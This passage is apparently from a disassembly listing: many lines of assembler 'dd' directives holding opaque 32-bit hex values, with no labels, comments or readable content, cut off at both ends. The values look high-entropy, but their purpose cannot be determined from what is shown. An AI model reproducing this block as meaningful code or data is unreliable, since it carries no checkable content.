6221F366h, 0DA1BAAEEh, 3DFC7E25h, 0A6972EF0h, 0F94B684h dd 0A676CE7Ah, 39315FBAh, 4B00ABEBh, 1CEE2DAAh, 88B558B0h dd 5C2707AAh, 0FC1571ABh, 42C128C1h, 51272B90h, 36F40C80h dd 0FB01544Ch, 3B0783B0h, 45309B7Eh, 141AF5F0h, 0F8394B12h dd 440C0C2Bh, 9ED1A93h, 0FAD0773Dh, 7FA324FFh, 0D02D3A8h dd 3B5C2A18h, 74893CE1h, 95073511h, 40A62B70h, 54F28CC1h dd 0F677906Bh, 0B90A5349h, 0AEF7097Eh, 0E136EF0Fh, 6C68FEFBh dd 0B8C0C82Ch, 1F8C0347h, 45B6E917h, 828486EDh, 0CDAE127Dh dd 5E3F38C6h, 0EC3940E5h, 0A21D3C13h, 0F4280490h, 2CFA085Ah dd 0C71886D3h, 0E908D0F6h, 4419466h, 0FBE0C15Fh, 4D4AEE1h dd 3F536350h, 8B1D88E9h, 6ED7870Fh, 31073220h, 25917A1Dh dd 17AB7385h, 577CC277h, 25ABAD6h, 0D6B88E2Ah, 8D79932Fh dd 6874DDC7h, 32F1C40Ah, 0B1C8B702h, 30F9C9C1h, 2740218Ch dd 0DE89EC50h, 17F8C94Fh, 980F69DAh, 64380DCAh, 8AAED61Bh dd 0C97B7D14h, 408C66F9h, 622425D8h, 0C7160D5Dh, 0BFE856BBh dd 9D0B5206h, 53C5055Fh, 0C02D4F11h, 0E47DBB0Fh, 0B3FD30EDh dd 32DD4C13h, 6C2D212h, 2F07FC58h, 3812F868h, 603FD435h dd 5DF1F0BEh, 0E9A1D995h, 0F696E87Fh, 90947256h, 0F1ED3560h dd 0BCABF0Fh, 9D1DD940h, 52B740C6h, 7658526Ah, 8A04684Ch dd 0C375FA57h, 0D0B8620h, 5116E268h, 0BE88523h, 848313CEh dd 5F7435Fh, 158B4EB5h, 6A5467D1h, 4186AD9Ch, 1EFB3B37h dd 36F749D1h, 0EC2762F2h, 0D6FBEE8Dh, 0C09C16CAh, 7F1768F9h dd 1F82C697h, 0E8C03459h, 119D0EC0h, 0E5C054BBh, 0BF272FFh dd 0B38B0F0Ch, 35EDFD65h, 9CC2E03h, 9075C65Dh, 95E458Bh dd 97E93C70h, 0C9FE4F40h, 5B810F12h, 0E02A24B1h, 1840C7DDh dd 26D3728Ah, 17E8B1E4h, 0D177F1C8h, 0C77EE22Ch, 254E2108h dd 0F0F90275h, 0E394D57Ch, 0BA9D82Bh, 0C26B742Dh, 4A45589Ah dd 0ABCF6F2Eh, 0A7D85B35h, 0DCC9495Ch, 92368D27h, 5A12C2Ah dd 0BCA92A21h, 72BB3084h, 49CB9030h, 13EDE2D8h, 0B41F62Ch dd 25058202h, 0BF8F640h, 0D2D0D2E9h, 3612B904h, 0C4AA56E5h dd 0DB8DBA6Bh, 0AF5B123Eh, 0BA4AE4E6h, 0DD5C98D2h, 5D122153h dd 0E93998AFh, 95D5B429h, 83685340h, 50552624h, 88E301B6h dd 3F659330h, 0AE4C2B5h, 0FCD05F3Fh, 8EFF05BDh, 12FAABB7h dd 6362BE90h, 2FEBD695h, 4096FC54h, 400D3082h, 9D292A2Ah dd 0C320BE16h, 7D681623h, 485DF326h, 5C406919h, 0DC969AFh dd 1FC86867h, 12FCED80h, 89EB2DC5h, 67F5E4A1h, 0D677FDBAh dd 59DEED27h, 18A88B09h, 2576D05h, 384F1CF4h, 4C68B1C0h dd 5EAFFB99h, 0DE68008h, 78E94B5Bh, 16852B41h, 1D33E8Bh dd 14C7EA8Ch, 61DF7091h, 6F681540h, 745EDB3h, 62CB597Dh dd 57280271h, 947EA3E1h, 15993B06h, 158659E1h, 84935192h dd 0FB1E2887h, 0AEC72E12h, 7F045331h, 0F2501096h, 2CA6C48Bh dd 89BB2D84h, 59D33AC0h, 0BA970222h, 0AC34D37Eh, 0EB72C8FFh dd 0DDFD0410h, 0B871E964h, 0AFBD0255h, 603BA76Ch, 2717C70Fh dd 817E46BFh, 0D06FC11Eh, 41D25EC7h, 9C1A9524h, 668F4074h dd 604F1F56h, 84045A9h, 4FB80050h, 0F7787B55h, 0BA0552D0h dd 0ED176FE5h, 0C266B0FBh, 4B4DE925h, 8275B17Ch, 14ACAB51h dd 0E9EE257Fh, 77631B40h, 0E3ADD985h, 68811FD9h, 51AB401Bh dd 0ED2EAC31h, 0DBA9D717h, 0C8596317h, 302F46C4h, 0DA1455E6h dd 11708076h, 0EC75F475h, 0E1285A16h, 94BD96EEh, 48C0D940h dd 4C2DEFEFh, 0EE018004h, 0C5C400B3h, 74F91336h, 0A0968A0h dd 0C9BB51B7h, 0B1D8CC5Fh, 1B830268h, 85521C4h, 813007C0h dd 826F11E9h, 721F595Ch, 5DD68260h, 0D480FD50h, 0C6500BAAh dd 2D0BBDD1h, 813E4429h, 971D79FBh, 7F5E57DEh, 0D54FE9E3h dd 3A932601h, 0FB3054B6h, 0E18E8269h, 0AEE491E5h, 30B72741h dd 83704A49h, 26B29573h, 31E7BD0Eh, 59F3F2C3h, 2C593556h dd 7EE55301h, 12BCF550h, 88AA70A5h, 513E5BC7h, 95C2752h dd 0C504572Fh, 27AFD2DAh, 7E66095Dh, 4968E2A4h, 0E55FAC8Bh dd 0E95F859Ah, 5B72BCC8h, 9658EA9Bh, 5C5F4620h, 7740808Dh dd 5F405FD8h, 0FF17843Fh, 5A0BD850h, 0B96A30AAh, 5C5A4F8Fh dd 8CC30FFAh, 43F93FABh, 419CE906h, 6BD624D3h, 0FFC8B1Dh dd 795EFEB0h, 0E40625B5h, 0ADD9EF81h, 0A0CFD864h, 82979B8Ch dd 8B65C5DDh, 0C0A9C2B0h, 689703DCh, 0AA5413FAh, 0E909BFE7h dd 0F975E1FDh, 12CCE243h, 5C43A608h, 0EECF140Eh, 0E014D705h dd 0CB88A12Eh, 0C31B552Fh, 293E3BE1h, 2C590DE9h, 0B9CDE464h dd 52C4D380h, 0EE80D4B6h, 0B151F004h, 90AF3063h, 622CE925h dd 12C541CCh, 731B5C28h, 907F8305h, 0FBE2AB20h, 4701EE90h dd 0BB1BE841h, 0E90B8549h, 0BFDD3782h, 3B3AB12Ah, 2250EA89h dd 4BDA17DFh, 5EE1CA3Ah, 2D7C88A0h, 7B782382h, 21DAF72Eh dd 0CF487A03h, 0B67C0972h, 61FCB309h, 99F1C32Fh, 206006E6h dd 0B159B51Eh, 5CA02C45h, 9DA0BABBh, 0CB208D5Eh, 122C1AB0h dd 3C2BC10h, 4B75D656h, 3B26FC5Eh, 5A88E127h, 0EC3E357Ah dd 557B0BEAh, 60C2F72Dh, 995A0804h, 2DEB2B5Fh, 8A612BFBh dd 982A9F60h, 8D41D154h, 0A470FC2Fh, 41646688h, 29FA2B54h dd 25F3E4DBh, 1D14797h, 3272C8EFh, 0D62CB451h, 77FC0852h dd 6B06182Eh, 2F44175h, 0BA89C53Ah, 6D9C6AA2h, 29E7B080h dd 7F4B623Bh, 0B393EDC4h, 3507D42Eh, 60B60391h, 3E5316D1h dd 0B91547E2h, 0D7CE80FEh, 0C821BBD6h, 0E93E609Eh, 0C6D29EE1h dd 0ECBB77E0h, 1EAF2659h, 7ABD0464h, 680B812Ah, 4FBF2A11h dd 4204875Eh, 531FF25h, 1CD143D5h, 290D292Fh, 0B3FD4B77h dd 0E6945328h, 75B82473h, 3164024Dh, 0F8622372h, 0FE26BC50h dd 5F276789h, 0B2191BA3h, 32BE8209h, 8BD18B1Eh, 3AE0D799h dd 121721EBh, 0A5AD13ECh, 287B0841h, 0E92F5510h, 341E409Ah dd 44886ECEh, 2B89CC0Fh dd 0E5D0E722h, 0A97F6562h, 8FC87D4Fh, 0EAF38498h, 558B121Ah dd 0EB2EC54Dh, 24EC6064h, 0AD78E84Bh, 0E69C8D7Fh, 68105222h dd 16180C12h, 4BA60BFh, 85FCCCD8h, 90D5BB86h, 7EDFC9BEh dd 22AFBF3Dh, 73F5C062h, 64D76993h, 35DC2585h, 40162B18h dd 50F590AAh, 0B2F3F04Fh, 51F52021h, 0CB09591Ch, 6DAF97FCh dd 385391DCh, 0DC177EB3h, 0FF8F095Bh, 0E9126B96h, 0A5373D1Eh dd 0FA365582h, 8BA84950h, 0BA33C44Fh, 257D58EDh, 0D75E28C0h dd 0CA389162h, 2F9ED43Eh, 41B612D5h, 54E90B8Ch, 4E80B07Fh dd 37A1D14Bh, 0EBAA2FECh, 0E91B057Eh, 3144AED0h, 7CD81B41h dd 0CC78581Ah, 796B2B80h, 4A09B814h, 40F182DAh, 60EAE948h dd 0EBA2664h, 611D397Fh, 5D80CA81h, 0E2C15BB9h, 0EAE49803h dd 7A802C56h, 0FBE906D6h, 5348F339h, 927D2FEBh, 0C926F439h dd 520D99FDh, 0BC5B803Ah, 29066176h, 0D0B7E945h, 902C244Ah dd 56680555h, 0AB642536h, 0AB2A5FA1h, 4A11262Ch, 17F3A30Fh dd 93F74461h, 9B9212Eh, 0FCE84B3Bh, 0D700E62Fh, 6D86BE49h dd 929C90Bh, 623AE9CEh, 0EE3C3155h, 0B9F0006Ah, 8156495h dd 62E57897h, 0CE010F92h, 255BEC5Dh, 6D9EE29h, 0E502090h dd 0DB676973h, 7F3C1D5Ch, 0B3507126h, 59D1C782h, 6F294096h dd 50C69748h, 0DB54512Fh, 7B16BDEDh, 0EC861831h, 0AF386D69h dd 63BBE25h, 1053EC2h, 7DD9E93h, 0D2B22D48h, 45F3A85h dd 0E2BE4F28h, 88466051h, 69873Bh, 0A578F0Dh, 39E0256Dh dd 5084A00h, 54FC49FBh, 0FC9049E9h, 168E5450h, 96BB61Eh dd 7F5208DBh, 45B99102h, 0C2F30107h, 2DBCD66Ah, 5EAE99FDh dd 0D1EDB43Bh, 88ECAD41h, 91236B04h, 8C39A02h, 0B6AB5F04h dd 4D4C7E2Ch, 0DEAA4E77h, 0F0681742h, 0A586AEBDh, 0C27A790Fh dd 5502FD82h, 7BDD0DEBh, 19E5ACA5h, 3D29186Bh, 0C85D2F9Ch dd 1649E232h, 978423Eh, 0DDFBF19h, 3F33AC02h, 1E44E183h dd 0A4407B9Ah, 840CBB53h, 0C03B3960h, 58A5093Dh, 358CE922h dd 3809C733h, 0D71B4543h, 4CD95030h, 67EE8080h, 600106B0h dd 0F128F9C6h, 0E9C05A0Fh, 7FE1E508h, 9143A404h, 5F536D98h dd 0ADF5EC54h, 2F07292Fh, 5B2D5988h, 0D802302Fh, 411AD626h dd 4104D3F7h, 0CC6B7772h, 5540F8A8h, 0EB584E54h, 9F25D569h dd 0DDAFD92Bh, 0F6F7033Eh, 8D0F0B04h, 0A31015F6h, 139588AAh dd 28C8CD34h, 0FCE841B2h, 9A975AD1h, 76B4626Ah, 80D80CA9h dd 0CB4E3067h, 0B845DF2h, 6FB177Bh, 25D8A5DCh, 0D5BDEB4Fh dd 0A6D1AF4Eh, 0F58B6B86h, 9EFF50E7h, 99E9166Ch, 2028AA1Dh dd 0A809D96h, 0C14EA62Dh, 0C0507425h, 4B319950h, 3AE1E828h dd 54EA8953h, 433ADD01h, 0C25BC5D5h, 745D48F7h, 59D5C9E1h dd 0C658C90h, 0C9096822h, 0DF17286Ch, 3A5DE912h, 0C997807Dh dd 0B01FF568h, 0EA5453B5h, 3F33F5D3h, 0E9E0CFA9h, 0E7970C26h dd 45B32523h, 9318F6BBh, 0B885DEBh, 54C7C77h, 2AE9DA01h dd 0ED8EAED8h, 0BBE90763h, 0A9E0434Ah, 7567D78h, 46F4B90Ah dd 0D9318035h, 0F19D295Bh, 108C8318h, 0EFC572B6h, 4C2FE7A4h dd 13D32520h, 0BEC791D4h, 7BFA064Dh, 541DFEB3h, 3B107E2Bh dd 0C5270B54h, 51E9A248h, 0A15A269Fh, 0C353A04Bh, 0EA38B5D5h dd 442C13BEh, 371DA680h, 0F7312E60h, 0D5C27CEh, 13D3BB60h dd 0FBB34BECh, 0E7AEDE95h, 0DFBC97E5h, 2281392Dh, 0CACA8852h dd 0DFC41CE8h, 0C2595A94h, 3DBADD50h, 1C74487Fh, 0BB94D217h dd 0BCABA564h, 368EB426h, 309DE924h, 0B661C21Fh, 8695CA28h dd 7D444D4Fh, 8AFEA663h, 586279Dh, 51EDB9DDh, 388BE90Bh dd 3F89E775h, 9CF3D592h, 17948952h, 830ADD0Ah, 56BC6881h dd 12EC4DF1h, 64719675h, 8BE2AB55h, 2F2C6882h, 0C82BC79h dd 4076AF32h, 1D7DA3CEh, 0CC0F5847h, 0CFED5716h, 0B71BC509h dd 64748354h, 0E79B031Eh, 2C4B5605h, 96D480E0h, 856B0CA8h dd 98FC6462h, 0EDE90238h, 0F6A54A55h, 335400F9h, 0E3D10669h dd 0C8B70F02h, 797C2468h, 0ED679AAAh, 220B6960h, 28504A2Fh dd 0FA12C859h, 38427542h, 60DFD151h, 69F943D0h, 3247E918h dd 1C2CB72Eh, 84FC8850h, 0A25B58E5h, 25B680ADh, 0B59ACE80h dd 5B30F50Fh, 0A85444FBh, 9B8B92E9h, 0AF939FD0h, 51EF8002h dd 2CE7F75Ah, 4F904B0Dh, 0F97BA4FDh, 61722DB4h, 0CA6DA75Eh dd 728AEE4Ah, 0EB7E524Ah, 0F61CA8CEh, 0EDDD2508h, 0A5DDA7BCh dd 0A2C157EAh, 0CE2E6F9Ch, 10B44E1Ah, 447E16A6h, 0CB960006h dd 11955B4Ch, 0C609E3FAh, 270075Fh, 0B9AF27Fh, 550EB05Fh dd 0B9E382A7h, 4CEFE98h, 4B5F0197h, 377833E9h, 0E3125F3Bh dd 0F73B4006h, 74D60EACh, 45EF8713h, 408CE0F0h, 14F66ADh dd 3C232FECh, 53C81AB1h, 7836BBF8h, 568EC009h, 0B261E96Ch dd 59945F95h, 3FD259B0h, 249318EFh, 77D63BBh, 18A50A58h dd 0E6DBFCBEh, 907BFA53h, 9C8A346Fh, 0FDD980BDh, 0BA983A69h dd 69D25F7Ch, 0F212AB1Eh, 8EBBA284h, 0F03C2FCEh, 5759AA57h dd 0F4549C76h, 720A8EBh, 0B4C97D3h, 12C3C0EEh, 8C5FFA01h dd 13D936F4h, 0BB221C11h, 0C178F74h, 60E02DBEh, 7F8A0832h dd 1790F252h, 0A176570Bh, 0E816830Dh, 0EB254A78h, 0B6081821h dd 3FEB8801h, 0D08D4449h, 0B26813B4h, 2B29EA4Eh, 0A420BD2Fh dd 5D39F682h, 52006AF3h, 564D20BAh, 40FB984Ah, 0CD1EBDA1h dd 18A8F28h, 0D017FEEAh, 6F5B648Ch, 0FBD2B34Fh, 0B92B8CC9h dd 4F94A575h, 1927D2AFh, 0FE898CA4h, 57896DF2h, 4128BAF9h dd 1C378E0Ah, 93BDE7Bh, 0AF3CC532h, 0F2670085h, 2FE9C302h dd 8C7B0C0Ah, 0C85CFECBh, 0D6DCA784h, 1C779D54h, 0B05C5EC9h dd 6B4BEF37h, 2A7ABD41h, 0CCED7F3Fh, 0B34CE438h, 0B43E2912h dd 27FE2F27h, 7259D8F7h, 5B9E9B99h, 46E0ECB7h, 2DE94443h dd 1274191Fh, 0A702214Ah, 0C00F6372h, 9DADE00Eh, 0B66E20D9h dd 70C9B7D2h, 220A0B2Ah, 59E0FDF3h, 38CBA244h, 36FE8343h dd 4F1BF97Bh, 18C25660h, 5462E33Ch, 3A0117F7h, 0E9FB3126h dd 273F359Fh, 0FDCA82D8h, 96A47B67h, 35480100h, 75CB10FDh dd 5EEA0F25h, 0C7892078h, 5CB4B2F5h, 0F5CC7A86h, 0C2E1E925h dd 9AC5F5E9h, 0E8C1450Bh, 2E1257DAh, 70B05D1h, 226D2A33h dd 2BD872E9h, 3D5CB90Fh, 5B071275h, 2B4716D1h, 6089F160h dd 0F75B1BCCh, 200404D9h, 0A177239Bh, 0DE211CAAh, 0AAAC8BFDh dd 243C84F1h, 0CA40EE87h, 58A37FB6h, 8C20BB3Eh, 0AFAC5F4Fh dd 565D2560h, 6238B4BEh, 5DC1DB7Eh, 2478A48Bh, 9F5CE95Eh dd 20D44F90h, 0BF704B74h, 86F07DDDh, 0B920B52Dh, 17883E10h dd 95895295h, 3516FFF1h, 1A5A8CB0h, 4368FE87h, 0D953E875h dd 48561A74h, 0A4082E29h, 4F712409h, 5A046649h, 5CE8BA01h dd 5D1A0CD0h, 26405A5Fh, 6D4B5873h, 9D72E2F0h, 0DB480498h dd 57C3EDCBh, 0A0D953C3h, 56AA2A3Ch, 0E5FAB1A1h, 0A8F32E57h dd 643FF47Ch, 0EAEA3F9Bh, 0FD5FFE92h, 8D2D76EEh, 810E5265h dd 0AE2A7AF2h, 0FFA4F557h, 3B43B7h, 4B61B5BEh, 544CE909h dd 3951A758h, 0C81DF988h, 89C65F59h, 0FC760D78h, 20CF447Ah dd 0B5386F19h, 17194821h, 2CA76AAh, 9939307Ch, 3AE7C6CFh dd 193C7C26h, 0C1096D10h, 1BF705E1h, 0AB52F18Ah, 0FD7C9A74h dd 2069902Bh, 3D252336h, 7367C21h, 3918C7E7h, 52AD1F83h dd 0B0B2BF84h, 0F4EC317Ah, 0C578BA3Ch, 0DAF7F034h, 0A12D1B98h dd 645F71D0h, 0AB33D55Bh dd 6F505F04h, 0ED5FC345h, 2C9EC4D8h, 12AB9FD4h, 1014F212h dd 0D84B96EAh, 5F9FF35Fh, 23C1FAAh, 3235176Ch, 741F0975h dd 16E62521h, 27C12124h, 0AF8DF44h, 0BCFAFE2Dh, 64C2F07Dh dd 51080168h, 3DB82D3h, 315F106Dh, 246E2F6Fh, 44F1FECCh dd 45FACDEFh, 7104C843h, 2A5EF75Ah, 0BD6E70B1h, 30E987EFh dd 0F6B35FEBh, 0B0584FD2h, 8BF96EA0h, 6CAE3C4Eh, 2FF95CABh dd 20488BECh, 0D79CE818h, 0D4C6B35h, 8D5C7010h, 4E5984FAh dd 0B7A20016h, 96CF148h, 7325DA7Dh, 513CF449h, 14017A65h dd 6F0CC886h, 5694F247h, 60E4FBBh, 0DBF04F90h, 8BFE1689h dd 612DAE3Ch, 0BFD02E8Bh, 4243E190h, 741EA927h, 57409AB1h dd 0DC5FAD69h, 13B862C5h, 0E907EE50h, 5151ED25h, 0F1EC9ABAh dd 2C927760h, 0F9E43750h, 0FFB4C6FAh, 72685807h, 0CB2576D9h dd 0EE5EFFECh, 41A54EC8h, 4E063AE5h, 72E1B15Dh, 0E45ABDFBh dd 3B5A5348h, 71B0F94Fh, 5810258h, 2C8D33E4h, 3527F7B8h dd 0C497B2DCh, 2A206CBEh, 0DF42704h, 0D59185E9h, 0AD44EBD0h dd 0B3BBE7D5h, 0F7668306h, 0E66898E9h, 15B8BD59h, 0FF5F0381h dd 0D989642Dh, 28D4A10Eh, 2743C63h, 5EA9C3A3h, 0B9424D9Fh dd 80999C2h, 0C908DBDDh, 0CC2DF85Eh, 8C372026h, 2CA7D9F9h dd 8BEA4EEDh, 0F6F94B60h, 16E888C9h, 3D4151E9h, 0F951823Fh dd 0B704709h, 887ED7DBh, 1EF7CE2h, 30F1E780h, 2FF3E15Fh dd 0E9841F61h, 11905308h, 6297DF97h, 28F9AFh, 26D76205h dd 0F34F6BE9h, 21C423F8h, 9FCC1302h, 52B702EBh, 0FB295E9Ch dd 60761C60h, 0F44A4025h, 42E6403Fh, 5C60383Eh, 9C327590h dd 62F6B816h, 28CDF06h, 4E685A01h, 5FCBE33Fh, 4AA8B6B4h dd 76988C01h, 953AD095h, 946BDADBh, 6032FCC8h, 36C3294Bh dd 0DA5B12C6h, 0B72BB3A0h, 0F1DE94E2h, 9D9D3EE6h, 0DC7A3DFCh dd 719689DDh, 0D2CD14F5h, 561D0B1Fh, 44DFDEC2h, 622507D9h dd 0A0322E7Ah, 0D69AE2F8h, 52666B9h, 2DBF5917h, 0F14D01FBh dd 0F7580201h, 2873B511h, 46680285h, 0C10C751Dh, 0A768AFA4h dd 29FE4A9Fh, 7BE962B1h, 41FD71CAh, 0FD2F2200h, 9AB5AC5h dd 715F5D7Ah, 0A4CD920Ch, 0BBFDA532h, 1BCAA614h, 0F6EF0539h dd 1EEB52D8h, 31AD02Dh, 0E180A0B1h, 73C198ADh, 10D966F6h dd 0E9130AB6h, 352859FCh, 0EE494E68h, 0E84F4F8Ch, 134558FEh dd 0AB270218h, 731750EEh, 7B1430B9h, 82084132h, 1B775D0Ch dd 13F30121h, 0BC496E1Ah, 5812F653h, 164E75E9h, 0A3E17190h dd 4427272Bh, 0FE02AA7Ch, 0C071756Eh, 0B7AFE916h, 0C380F602h dd 0D3EB22E0h, 10DD2876h, 7EB6524Fh, 0F5BBF312h, 4FF2BA5h dd 0BE41890h, 6FEF805Bh, 0F8BE979Bh, 0C4A0B7DEh, 5328FAEFh dd 800F160Eh, 2C45B78Fh, 8ABED338h, 5C5D27EBh, 50285809h dd 0B3A06DB1h, 0D3475A67h, 545F1308h, 4B05DDFEh, 12D497Ah dd 9909EA95h, 0B4736001h, 16D32117h, 20A987BFh, 0F1DC360h dd 0A5ED854Ah, 4309BA4Fh, 581CD0C9h, 0F22CFD29h, 28E1E2C5h dd 0F58128C5h, 113D15B8h, 0B3223F30h, 3691052Dh, 8E80FF7Bh dd 98C64941h, 82CB7E91h, 0BE882F5Ch, 0B1E961EAh, 42316A9Ah dd 0DED6930Ch, 2651433Fh, 2BB2007h, 8782962Dh, 80E74FBh dd 5617DA6Fh, 0EB5AD2A9h, 78E69474h, 0DCF40717h, 0F94B2EEFh dd 27C6D26Ch, 85481DC2h, 0CD150155h, 10D40946h, 0BF00208Fh dd 36F96144h, 69134F05h, 4FB8514Bh, 0AD310741h, 2C78AF3Bh dd 0D9725E9h, 8DE7E398h, 318E0F80h, 0DC9527Ch, 88BE4C55h dd 0F756E22Dh, 1127D6BCh, 93EA4558h, 7AEDB129h, 5CE01EADh dd 0E4A1BE9h, 638400E9h, 0B451D86Ah, 0D4D4F241h, 0BC3FE15Ah dd 2F3BA140h, 80C2512Ch, 941E0CDh, 9CCCFC01h, 55935F82h dd 72ABBBD1h, 9E7639E5h, 0A3D33458h, 34414CF1h, 0AC6F2E9Bh dd 7635827Ch, 4961F723h, 24456B02h, 1320859Eh, 4C882E9Fh dd 3B139A53h, 1321F82Dh, 0B79004E1h, 0B799CEE9h, 695F10BAh dd 0D1F6D27Bh, 0DD20ADD0h, 0C58065B5h, 0C1BF4C4Ah, 2BB60429h dd 3C204629h, 0F7880240h, 3E7C05Ah, 422682D4h, 2991990Bh dd 58ADDEB5h, 93AB760Eh, 0F671AAB4h, 0EFD5F987h, 528298BAh dd 8F7664BAh, 0D1B9E2F5h, 0F9D06B05h, 5D256819h, 0DBBD6B61h dd 0B9752412h, 1E8A9EF3h, 0CAC2FB4Bh, 0A271755Eh, 698617BDh dd 5A1AA9D0h, 0F82976FAh, 434813EBh, 0C17DE036h, 9CF908A2h dd 63AD5F96h, 7C29678Bh, 6434D9D7h, 299FC23h, 0A5C14DB8h dd 276FD685h, 0A5364C7Fh, 2F688773h, 4E7F0B45h, 27D927B0h dd 584EC3E6h, 0A8CD1EAh, 0D9DDC6FEh, 0DA89890Bh, 4A183345h dd 7E7249FEh, 0B8503569h, 0D0BB0219h, 0C4F61AE9h, 5DF1F61Fh dd 0FA14FDDCh, 0BDF608Dh, 6E081B7Dh, 2C9C0455h, 531CB806h dd 394662A0h, 0F5444225h, 732C4A95h, 0BF000310h, 721B1D05h dd 0B290DFF7h, 340BB50Dh, 0AC6C680Ch, 0B84C6816h, 3F56CF35h dd 1BAE127Ah, 98D1708h, 94FDF901h, 0C0C5B528h, 0D9818E96h dd 643F515Bh, 1645B930h, 0BBA03FE9h, 0FF54C28h, 0B32FF42Fh dd 1C5B21C6h, 7027052Dh, 0AA73D76Fh, 8738C579h, 0D16D8D84h dd 647B89ACh, 8CEE4501h, 8D47BE30h, 3E7662CDh, 8A0C4BC1h dd 5D2609D3h, 9C10D9B7h, 0BA4CD2E9h, 0DA290860h, 2DB3A45Bh dd 0E959860Dh, 1709292Ch, 14B0E8AAh, 0A683B46h, 5002E603h dd 0FCB0CFEh, 2E51CEF1h, 228324C8h, 8A2E778Fh, 741661E7h dd 0B0895EF2h, 6E2A7A82h, 53A2307Dh, 0B0DF9542h, 9D5EF31Eh dd 5F49E679h, 4D93A9C7h, 0F2F98553h, 37CD8919h, 2A18FD59h dd 0E24C79F6h, 3CCBC6CDh, 4E126472h, 0C009A191h, 0BEBC43DCh dd 5B65496Ah, 0A0484982h, 0C310406Ah, 6843097Dh, 0CFE0CDE9h dd 0F0FF125h, 694810FBh, 25E8D44Ch, 226F185Dh, 0D1C4BF69h dd 0DF2CA42Dh, 11EA5C1Eh, 25357995h, 2F1049F1h, 0FCBA85Bh dd 0EB5BD988h, 580EFE31h, 0B2A85C7Dh, 5A135EF1h, 89A2C821h dd 0E916B542h, 0EE7EC4E8h, 139E9BE3h, 0B41EB0BDh, 0DCF61400h dd 28EDEC80h, 6E5858E6h, 9E717B25h, 845996BCh, 2EA83DEAh dd 0E2A233FAh, 78F20F88h, 89D0E934h, 78BDCAABh, 0D0A35F62h dd 0DBFA5D05h, 557BD469h, 0F165616h, 54E1F28Fh, 0B00EFC7Bh dd 17F0ED81h, 0FDFA8A42h, 7FDC0758h, 5C50749Ch, 0F4325523h dd 0E6581767h, 0CF99BEEAh, 0C3F0A27Ah, 82A73E59h, 99D8DF41h dd 1DD3C93Fh, 0E1836EC4h, 26F354Dh, 0DAB7C17Ch, 0E16095BBh dd 0F6583497h, 0A4CB3448h, 5D92085Fh, 0C4FB6D16h, 0B426E966h dd 96B2FCEAh, 1684ACECh, 0E0065666h, 0BD0E1A55h, 7F52AB7Eh dd 0EB0E2652h, 560F6461h, 5D688960h, 0E96EE130h, 5435C4B1h dd 3DB128F8h, 39350003h, 7B5E2518h, 969F2778h, 0AC404FD8h dd 581ED976h, 4EAFF47Bh, 62103D02h, 6C5F5E9h, 0D304A643h dd 597FB8Eh, 0E11BE5BAh, 37287F6Bh, 0C5794B8h, 2B2E2C1h dd 3027B09Eh, 0B72880DEh, 0EDCF7D4Eh, 0EBD2FE54h, 0BEACC8FEh dd 405BD409h, 9FA41h, 0F6814EDEh, 98604C0h, 34A2E96Ch dd 52B392Dh, 0C5A729BDh, 6DE9F618h, 52C6859Fh, 6FF768F0h dd 7AC90BD7h, 568EE40h, 3E794914h, 4FF200B2h, 0E9700D23h dd 0BF16709Ah, 0F53415Ch, 0DDF60706h, 0BB05F5C9h, 0A80682EEh dd 858BEF51h, 0C16C9B6Dh, 9A572DE7h, 1042CB4h, 6B25AADAh dd 2F7C5883h, 0DE8B1323h, 262DBCF5h, 9D5BF0DFh, 6ED6C9E3h dd 83165846h, 180C02C0h dd 5BD3EBDBh, 7ADBD910h, 9D019234h, 41A636B8h, 4A866030h dd 0F167A840h, 0FB05CB77h, 50A8D390h, 5F267A08h, 712BE033h dd 31654813h, 0AD8A2BFh, 0ABEEE951h, 32287FA5h, 2301081h dd 377931BEh, 57B24875h, 7A9E01BFh, 96E91994h, 47393E2Fh dd 4A34FF3Bh, 662F8CEFh, 7E1276Ah, 2913D310h, 0BE2E3D9h dd 8003E1C1h, 988E0CE0h, 98017A82h, 18A227C1h, 66D291EBh dd 0E1DDA44Ah, 0C17ED64Ah, 0C159022Eh, 0B50ABC4Ch, 0FA15136Ch dd 2CFF4BA8h, 0C85B0FB4h, 0CF687631h, 1716FDFEh, 7D9D8B7Ch dd 4B3F8915h, 37392CBAh, 531989BDh, 0AD31167Eh, 53681AECh dd 665375C2h, 0F22AE91Eh, 0CFC1801Eh, 57A5A30Bh, 0FAF13811h dd 942D0765h, 8E77D42Dh, 4EDF1C25h, 2B5AA2BBh, 13E455D0h dd 6B6B342Fh, 0BE0195A9h, 0F58851B5h, 9A2521F8h, 27C87764h dd 9DF14CADh, 12E71CC9h, 0BFB679CAh, 0B19CD00h, 0A05F2BF5h dd 7A1308FCh, 0B02D7D71h, 314F4Ah, 0B951D022h, 401955CFh dd 4B74015Eh, 97D8673Bh, 2A76D982h, 0C9FEB385h, 0F1E809AEh dd 0D78ACB02h, 0DF258FF1h, 0FE523B04h, 54A28DA2h, 10F0AB5Eh dd 85F5828Bh, 92EE664Ah, 0E6572ACBh, 74D2A2BDh, 2052716Ah dd 6419F8D6h, 0E9446A7Bh, 7E310D1h, 30ECB276h, 0A283A2A7h dd 2EAD172h, 2108DE0Bh, 0C56B80DDh, 5CEF7A2Bh, 0C93B3078h dd 52793704h, 50B8AABAh, 0A3D72913h, 10978E51h, 271F947Ch dd 1A258A43h, 406CE227h, 0B3292244h, 389B3F0Fh, 0CBCE1E42h dd 68B5E5F2h, 7371C28Dh, 0A8234C36h, 65183727h, 682F976h dd 9C45DC92h, 0C2646FDDh, 0D9BE1628h, 0A6D08388h, 4A7FC62Ah dd 0FEEF8580h, 50313BCEh, 70E55BF6h, 0A402FE7Dh, 84E9A21Ah dd 69C9DC0Dh, 8397C0FFh, 3AC924Ah, 0FEC786D7h, 26A730C0h dd 520508F8h, 0EF68A9B2h, 0B3E333AFh, 71F0FA94h, 0DA2828BCh dd 42342096h, 88ECB70Fh, 0D9752EF9h, 0C0C64A12h, 3B549A70h dd 0EF3E51C6h, 8733A82h, 2F456E9h, 316CB901h, 1214F94h dd 1234E82Ah, 92BBCE29h, 0E3485042h, 0A61246DEh, 0AA1F5A03h dd 0AC644EC0h, 0F4DFB812h, 0F87C5F8Bh, 3A494F2h, 788A0982h dd 35D2BF56h, 0BE010496h, 87BF0F53h, 0B0EDE506h, 0F85831B3h dd 55E84FDAh, 75A6E7B1h, 5DAC7BC9h, 0EF05C102h, 505F8748h dd 0D7C37515h, 0EB24F4BEh, 0C0408A3h, 6DD47D1Bh, 2D2FDDE3h dd 0E92700FAh, 0FC381B5h, 0E2A9581h, 8BE241C1h, 0EA48CFFEh dd 0BCDC5CEDh, 0FA693B98h, 